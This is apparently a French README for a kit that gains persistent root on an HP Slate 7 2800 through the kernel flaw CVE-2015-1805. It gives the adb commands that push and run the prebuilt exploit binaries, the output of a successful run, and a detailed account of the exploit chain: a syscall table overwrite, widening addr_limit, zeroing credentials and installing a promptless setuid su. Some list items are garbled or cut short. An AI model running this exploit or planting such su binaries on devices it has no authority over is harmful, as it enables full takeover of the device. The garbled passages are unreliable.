
Kit de root pour HP Slate 7 2800 sous Android 4.1.1 utilisant CVE-2015-1805.
Anglais | Русский
Ce dépôt contient un kit complet et autonome permettant d'obtenir un accès root persistant sur la HP Slate 7 2800 fonctionnant sous le firmware 1.05.18 et le noyau Linux 3.0.8+, en exploitant la vulnérabilité locale CVE-2015-1805. Le kit a été exécuté sur la tablette réelle, et le résultat a été vérifié depuis une nouvelle session ADB et après un redémarrage normal.
Ce n'est pas un outil de root Android universel. L'exploit est spécifique à cette configuration du noyau HP. Ne l'exécutez pas sur un autre modèle, un autre firmware ou une autre version de noyau.
| Paramètre | Valeur vérifiée |
|---|---|
| Fabricant et modèle | HP Slate 7 2800 |
| Android | 4.1.1, API 16, build JRO03H |
| Produit / appareil | t7h / pine |
| Processeur | Rockchip RK3066, ARMv7 |
| Empreinte de build | hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys |
| Noyau | 3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015 |
| ABI | ARM EABI5 32 bits |
| SELinux | non présent dans la configuration du noyau (CONFIG_SECURITY est désactivé) |
Partition /system | ext4, montée en lecture seule par défaut |
Vous pouvez inspecter l'appareil sans rien modifier :
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version
Vous pouvez également utiliser le script ci-dessous. Il refusera de continuer si l'empreinte de build ou la version du noyau ne correspond pas :
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL
.
├── bin/
│ ├── hp-slate7-cve-2015-1805-root # verified exploit
│ ├── hp-slate7-install-root # installs su into /system
│ └── hp-slate7-su # minimal setuid-root wrapper
├── src/
│ ├── exploit/ # CVE source and device-specific changes
│ ├── installer/install-root.c # installer source
│ └── su/rootsh.S # minimal su source
├── scripts/
│ ├── build.sh # rebuilds all three ELF files
│ ├── check-target.sh # safe compatibility check
│ └── root-device.sh # verifies, uploads, and runs the kit
├── SHA256SUMS # hashes of the verified bin/* files
├── NOTICE # attribution for the original PoC
└── LICENSE # GPL-3.0
Sommes de contrôle SHA-256 des binaires vérifiés :
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su
Vérification sur macOS :
shasum -a 256 -c SHA256SUMS
Vérification sur Linux :
sha256sum -c SHA256SUMS
Utilisez les fichiers de bin/ sur la tablette : ce sont exactement les octets qui ont été vérifiés sur l'appareil. Le répertoire build/ est destiné aux reconstructions locales et n'est pas suivi par Git.
CVE-2015-1805 est un défaut dans les implémentations de pipe_read() et pipe_write() des anciens noyaux Linux. Lorsqu'une copie atomique échoue, le code continue incorrectement de parcourir le tableau iovec, ce qui peut déplacer un pointeur au-delà de ses limites. Par conséquent, un processus local non privilégié peut corrompre la mémoire, faire planter le noyau ou élever ses privilèges. Une explication détaillée du mécanisme a été publiée sur oss-security. Les correctifs se trouvent, entre autres, dans les commits Linux amont 637b58c et f0d1bec.
Le noyau 3.0.8+ de la tablette s'est révélé vulnérable. Avant de modifier la mémoire du noyau, la même course a été testée séparément avec une sonde inoffensive dont les deux cibles d'écriture étaient toutes deux situées dans la mémoire ordinaire du processus de test. Elle a rapporté CVE-2015-1805: VULNERABLE, et la tablette est restée accessible via ADB.
readv(), les changements de mappage mémoire et le traitement d'un grand tableau iovec dans le code vulnérable des pipes du noyau.sys_call_table par l'adresse d'une petite trampoline ARM dans le processus de l'exploit.0xffff0008. Sur l'appareil vérifié, l'instruction est 0xe59ff410 et sa valeur littérale pointe vers vector_swi = 0xc04d0d40.vector_swi et sys_call_table ont été assemblés indépendamment à partir de l'archive officielle du noyau Open Source HP 1.05.10 (SHA-256 de l'archive : dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2) avec la defconfig rk30_t7h_dvt_defconfig. Leur décalage est 0xc4. Le firmware installé ne comporte ni OABI ni seccomp, si bien que l'adresse d'exécution finale de la table est .La fonction d'origine current_thread_info() des anciens en-têtes du noyau était incompatible avec Clang moderne à -O0 : un prototype précoce lisait un mot non initialisé au lieu du registre sp et pouvait faire planter le noyau. Dans ce dépôt, elle a été remplacée par une trampoline ARM nue vérifiée. Le binaire précoce n'est pas inclus dans le dépôt.
bin/adb provenant d'Android SDK Platform Tools ;Vous n'avez pas besoin du NDK Android, de Java, de Python, de fastboot, d'un bootloader déverrouillé, d'une recovery personnalisée, d'une APK de root, ni d'un accès réseau. L'exploit et la charge utile sont liés statiquement.
shasum ou sha256sum pour vérifier le résultat.Le NDK Android n'est toujours pas requis : Zig fournit une chaîne de compilation croisée ARM musl.
Vérifiez la connexion :
adb devices -l
Le statut doit être device, et non offline ou unauthorized.
Placez-vous à la racine du dépôt et vérifiez d'abord que l'appareil correspond exactement :
./scripts/check-target.sh
Si plusieurs appareils sont connectés, transmettez le numéro de série à chaque commande avec adb -s SERIAL, ou définissez la variable d'environnement ANDROID_SERIAL.
Téléversez les trois fichiers en leur donnant les noms qu'ils attendent mutuellement :
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7
Définissez les permissions puis synchronisez les fichiers transférés sur le stockage :
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
Exécutez l'exploit une seule fois :
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
Sortie de réussite vérifiée :
offset:c4
addr:c04d0d40
[+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0
Si l'appareil disparaît d'ADB pendant quelques secondes, ne réexécutez pas l'exploit. Attendez qu'il revienne :
adb wait-for-device
Le script vérifie l'empreinte de build et le noyau, contrôle les sommes de contrôle SHA-256, téléverse les fichiers, vous demande de saisir ROOT, exécute l'exploit et vérifie uid=0 :
./scripts/root-device.sh
Pour plusieurs appareils :
./scripts/root-device.sh --serial ADB_SERIAL
L'option --yes désactive la confirmation interactive et n'est destinée qu'à une utilisation automatisée volontaire :
./scripts/root-device.sh --serial ADB_SERIAL --yes
Vérifiez root depuis un nouveau shell ADB, et non depuis l'uid du processus de l'exploit :
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '
Sortie attendue :
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...
Ensuite, supprimez uniquement les fichiers temporaires de transfert. Le /system/xbin/su installé n'est pas supprimé :
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'
Le kit ne crée pas /data/local.prop et ne modifie pas les données utilisateur.
Effectuez un redémarrage normal, puis vérifiez que root persiste :
adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'
La tablette vérifiée a produit le résultat suivant après redémarrage :
uid=0(root) gid=0(root) ...
Le fichier installé a été récupéré depuis la tablette et correspondait à bin/hp-slate7-su octet pour octet :
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e
Pour exécuter une seule commande :
adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'
hp-slate7-su est un wrapper volontairement minimal, sans application Android, sans invites de confirmation, sans daemon ni journal de permissions. Tout processus local capable d'exécuter /system/xbin/su peut potentiellement obtenir root. N'utilisez pas cette tablette obsolète pour des données sensibles après l'avoir rootée, et n'installez pas d'APK non fiables.
Indiquez le chemin vers le Zig 0.15.2 portable, ou ajoutez zig au PATH :
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh
La sortie sera écrite dans build/ :
build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su
Vérifiez les formats de fichiers :
file build/hp-slate7-*
Les trois fichiers doivent être des fichiers ELF ARM EABI5 32 bits. Avec la version vérifiée de Zig 0.15.2, l'installateur et su se reconstruisent à l'identique, octet pour octet, des fichiers de bin/. Le hash de l'exploit peut différer en raison des chemins absolus dans DWARF et des métadonnées du linker ; sa trampoline critique de six instructions était identique octet pour octet lors de la reconstruction de vérification. Une reconstruction ne remplace pas les sommes de contrôle des fichiers de bin/ qui ont été réellement exécutés sur la tablette.
unauthorizedDéverrouillez l'écran et acceptez la clé RSA du débogage USB. Si l'invite n'apparaît pas, rebranchez le câble et relancez adb devices -l.
offline ou l'appareil disparaîtAttendez quelques secondes puis exécutez adb wait-for-device. Si la tablette s'est éteinte, rallumez-la normalement avec le bouton d'alimentation. N'exécutez pas une seconde instance de l'exploit en parallèle.
[+] DoneLa CVE est exploitée via une course et peut théoriquement échouer. Redémarrez la tablette avant une seule nouvelle tentative. N'exécutez pas le binaire en boucle : une course échouée peut faire planter le noyau.
su existe, mais la commande se termine avec le code 127Vérifiez la somme de contrôle SHA-256 du fichier. Un wrapper de recherche précoce gérait incorrectement argv sur ARM et se terminait avec le code 127. Ce dépôt contient la version corrigée de 656 octets, dont la somme SHA-256 est 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e.
Vérifiez l'état réel d'Android :
adb shell getprop sys.boot_completed
adb shell dumpsys window windows
sys.boot_completed=1 signifie qu'Android a démarré même si l'écran physique affiche encore une ancienne image.
D'autres approches bien connues ont été écartées en toute sécurité ou jugées inadaptées sur cet appareil : CVE-2013-6282, CVE-2013-2094, CVE-2012-0056, CVE-2013-4787, Dirty COW et PingPongRoot. Towelroot/CVE-2014-3153 a fait planter ce noyau et ne doit pas être utilisé. CVE-2014-7951 permettait d'écrire un fichier via un parcours de chemin dans la restauration ADB, mais le firmware HP ne chargeait pas /data/local.prop ; cette méthode n'a donc pas fourni root.
Le bootloader utilise un ancien loader Rockchip et n'apparaissait pas comme un appareil fastboot standard. Flasher une recovery ou déverrouiller le bootloader n'a pas été nécessaire pour obtenir ce résultat.
Le code de l'exploit est basé sur mobilelinux/iovy_root_research, le commit f945796, qui référence lui-même dosomder/iovyroot. Les modifications spécifiques à l'appareil incluent la réduction du nombre de threads, la correction du délai d'attente, l'utilisation d'une trampoline ARM nue, la restauration anticipée de la table des appels système, la validation de cred et la désactivation de la branche SELinux inapplicable.
Les mentions d'origine ont été conservées. Le dépôt est distribué sous GPL-3.0 ; voir LICENSE et NOTICE.
Exploiter la mémoire du noyau comporte toujours un risque de redémarrage de l'appareil, de corruption du système ou de perte de données. Ce kit est destiné uniquement à une HP Slate 7 2800 que vous possédez et dont le firmware correspond exactement. Sauvegardez toutes les données importantes et ne l'utilisez pas sur des appareils appartenant à d'autres personnes.
La recherche en sécurité et la documentation ont été réalisées avec l'aide d'OpenAI Codex, propulsé par GPT-5.6 Sol avec un accès de cybersécurité Daybreak Blue.
Emplacements du dépôt : source canonique · github · miroir en lecture seule
| Fichier | Format | Taille | Rôle |
|---|
bin/hp-slate7-cve-2015-1805-root | ELF 32-bit ARM EABI5, static, unstripped | 2,722,320 octets | Exploite la CVE, obtient l'uid 0 et lance l'installateur |
bin/hp-slate7-install-root | ELF 32-bit ARM EABI5, static, stripped | 22,596 octets | Remonte temporairement /system en rw, installe su et restaure le mode ro |
bin/hp-slate7-su | ELF 32-bit ARM EABI5, static, stripped | 656 octets | Appelle setresgid(0,0,0) et setresuid(0,0,0), puis lance /system/bin/sh |
0xc04d0e04sp courant, l'aligne sur la taille de pile noyau de 8 192 octets et écrit -1 uniquement dans thread_info.addr_limit au décalage 8. Elle ne contient aucun appel externe, prologue ni code runtime du compilateur.sys_ni_syscall dans la source HP ; le pointeur restauré sur le noyau vérifié est 0xc051900c.addr_limit élargi, la copie par pipe lit le task_struct courant, localise cred et valide la structure à l'aide des valeurs uid/gid courantes, de l'alignement, du compteur de références et de la condition real_cred == cred. Ce n'est qu'après ces vérifications que les valeurs uid/gid sont mises à zéro et les masques de capacités remplis de uns.uid=0 et lance /data/local/tmp/install-root. L'installateur remonte /system en rw, copie la charge utile vers /system/xbin/su, attribue la propriété root:root et le mode 06755, appelle sync() et remonte /system en lecture seule.